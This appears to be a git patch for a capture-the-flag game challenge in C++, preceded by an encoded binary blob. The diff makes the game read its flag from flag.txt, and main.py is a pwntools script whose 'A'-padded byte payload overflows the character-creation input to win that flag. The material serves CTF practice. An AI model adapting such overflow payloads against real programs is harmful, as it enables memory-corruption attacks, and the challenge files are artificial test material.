z=Xi2S3|u262(PSw?{>V5O+nL*7B&cJN~b`5H%(B3{2lMH`!3+PgFX+xY}$C(=pWVX+SJPQe1O`QahV?R%Lxir_clTh!3dXK9n7iUF$Ts z>qQQ(|GDIBYIkK$1VS%RDrIhae~di$3U>ouq{-Dx%rn5np2+ zn?v;!Vu6njg~E+EQFK*|%Si;y6MJEa;@kvM=dtIW98#$_XoYJx^U}2~RrdMonwQL8 zaXQ!+##F}bPUqcRJ;2%qMtj3rZD*C*SjD2GG;n!!5HI6J5^rRpHsT$O!p;c#`vnRD(Wi}JWbTslLX~*b$6>e2+_vSilHF$d1j(JtgMs~plKOFunX`* zg7njNvz6y!L?)$R9poP+W5lMLcvaK%bGhTSxf^=UrIW*j-Bs-QBB`Y(J18ohMF@># zK%u47r^Y`kawj@S{;$2-HyoPTwaJAS{jp zk>yP8nfpi{xfeJ+5iS6i&t>A3huny6wGgHFNhM7adc4=eys0dL_@r*sV; zp;CN@O!32K2vyI#kynRw4eiV+-s}KR4qo#>htiEFhvwpS-t3ODv|I{(=W%$kD2I1t zw8?0T^vW5+77`!%EwZGbnL-Nh%d?UKzSA0B3$RItYGq3+87KzBjcy`iIxpE!(`SM)4Lkt7QZQpIsBOAEK8s5IF!CVHdMO!M9>;j?B&Y`zX} zDeOASE2xnXm`Kc}YiGuh8s?F27JSV6JrtQrpP8W3V--Ev-eU-#J5NwCS_-&|8`8+svP3INqcyXrQfd$Rtw_Yx z2sqma(bMCjNxL)5VYFJw_jEWp_C-p@O9X&6E{#K<#K3djd?_`2u6+NVHzAbzcf$mM zJO*?4NVYsVqruf|cp-xJAPxETQ;ce**H3N5 zt~^0`=M^F*@urA#fZd>j7;}ZR;YraD{cRNQX{0Y6! zaJc4S7O!#`Hl#Sq&eV(bR3H2|#*7xp46~#chP2^VY_-X@#Ebg$n+IQZq4yNhD=mMZ zyW#rGeEl7#d;R*$;x4@>^Vjgp?f+5#!PhT}C)FSPzEi$U?{l=K2zTpS;)oo9& z$NX>9Sm*J7_)F?RzT$Ps^5<9d^@sY(7rbs!)}ZJ1A9Q=Zj%afD`BnVV+PVFY=_Y=@ z#xFJD_FQM0uUzMzo~0ibet(F2R70NIb3JOl{<&<0_qppUKgZXPxKB0d`7_t8=IcM` zb~JyQC(mEsZhgid1XFI$^{x5(PkO>UKDX!f|FLd=s5|63*nIs?H>AsNj^YuskpuW26{~O(&_mArh@^$^|eE091_FNyF zuc^j=e%>Ab@16EsN1U%e{#|aVuI~8%?6l{4<9z)iXaC&s{~hgr1Hb$j*X@1y7d77R zsY~%ckI&ct#5eRVTW-(w%YUKU^K;w*f9C6d;R~iMdWP$q|Fv#Ub(`sj@tfN*9{d@; zBmCp>zxxk*y4CvbU)A+Pv9anix998s;6B`(OBO!^v5@TfX37pkN@_2 z_01Q${ogv{zfoTo|Ev1YtyZVFqyFIbKXLBUTiWy)_FXeB-=+6O``Z822Q@>k@4?UWy!rG00q3%o7ytkO diff --git a/main.cpp b/main.cpp index af18bd8..87b8d6c 100644 --- a/main.cpp +++ b/main.cpp @@ -1,5 +1,6 @@ #include +#include #include #include #include @@ -13,7 +14,11 @@ std::string loadFlag() { - return ""; + std::string flagString; + std::ifstream flagFile("flag.txt"); + flagFile >> flagString; + flagFile.close(); + return flagString; } int main() @@ -32,7 +37,7 @@ int main() UserInterface::welcomeMessage(); UserInterface::epilogue(); player = UserInterface::characterCreation(); - archMage = new Character("Arch-Mage", 100, 0, 100000, 100000, 1, 1); + archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1); enemies = { new Character("Abby", 1, 1, 10, 5, 1, 1), new Character("John", 2, 3, 20, 10, 1, 1), @@ -73,7 +78,7 @@ int main() choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); UserInterface::print("You are going to spar with:\n"); UserInterface::characterInfo(enemies.at(choiceInt)); - UserInterface::print("Are you sure? (y/N)"); + UserInterface::print("Are you sure? (y/N)\n>"); std::cin >> choiceChar; if (choiceChar == 'y' || choiceChar == 'Y') { @@ -102,7 +107,7 @@ int main() break; case 4: UserInterface::print("You are going to challenge the Arch-Mage...\n"); - UserInterface::print("Are you sure? (y/N)"); + UserInterface::print("Are you sure? (y/N)\n>"); std::cin >> choiceChar; if (choiceChar == 'y' || choiceChar == 'Y') { @@ -116,13 +121,13 @@ int main() UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); UserInterface::print("Turns out the content is just some meaningless word...\n"); UserInterface::print("Here is the content:\n"); - UserInterface::print(flag); + UserInterface::print(flag + "\n"); } else { - UserInterface::print("You lose, but you still get some experience...\n"); - player->revive(); - player->increaseExperience(enemies.at(choiceInt)->getLevel() / 2); + UserInterface::print("You lose...\n"); + UserInterface::print("Sadly his spell was to powerful,\n"); + UserInterface::print("You got killed by the arch-mage...\n"); } } else diff --git a/main.py b/main.py new file mode 100644 index 0000000..de89014 --- /dev/null +++ b/main.py @@ -0,0 +1,18 @@ +from pwn import * + +if __name__ == "__main__": + p = process("./main") + print p.recvuntil(">") + p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) + print p.recvuntil(">") + p.sendline("y") + print p.recvuntil(">") + p.sendline("2") + print p.recvuntil(">") + p.sendline("4") + print p.recvuntil(">") + p.sendline("y") + for i in xrange(99): + print p.recvuntil(">") + p.sendline("9") + p.interactive()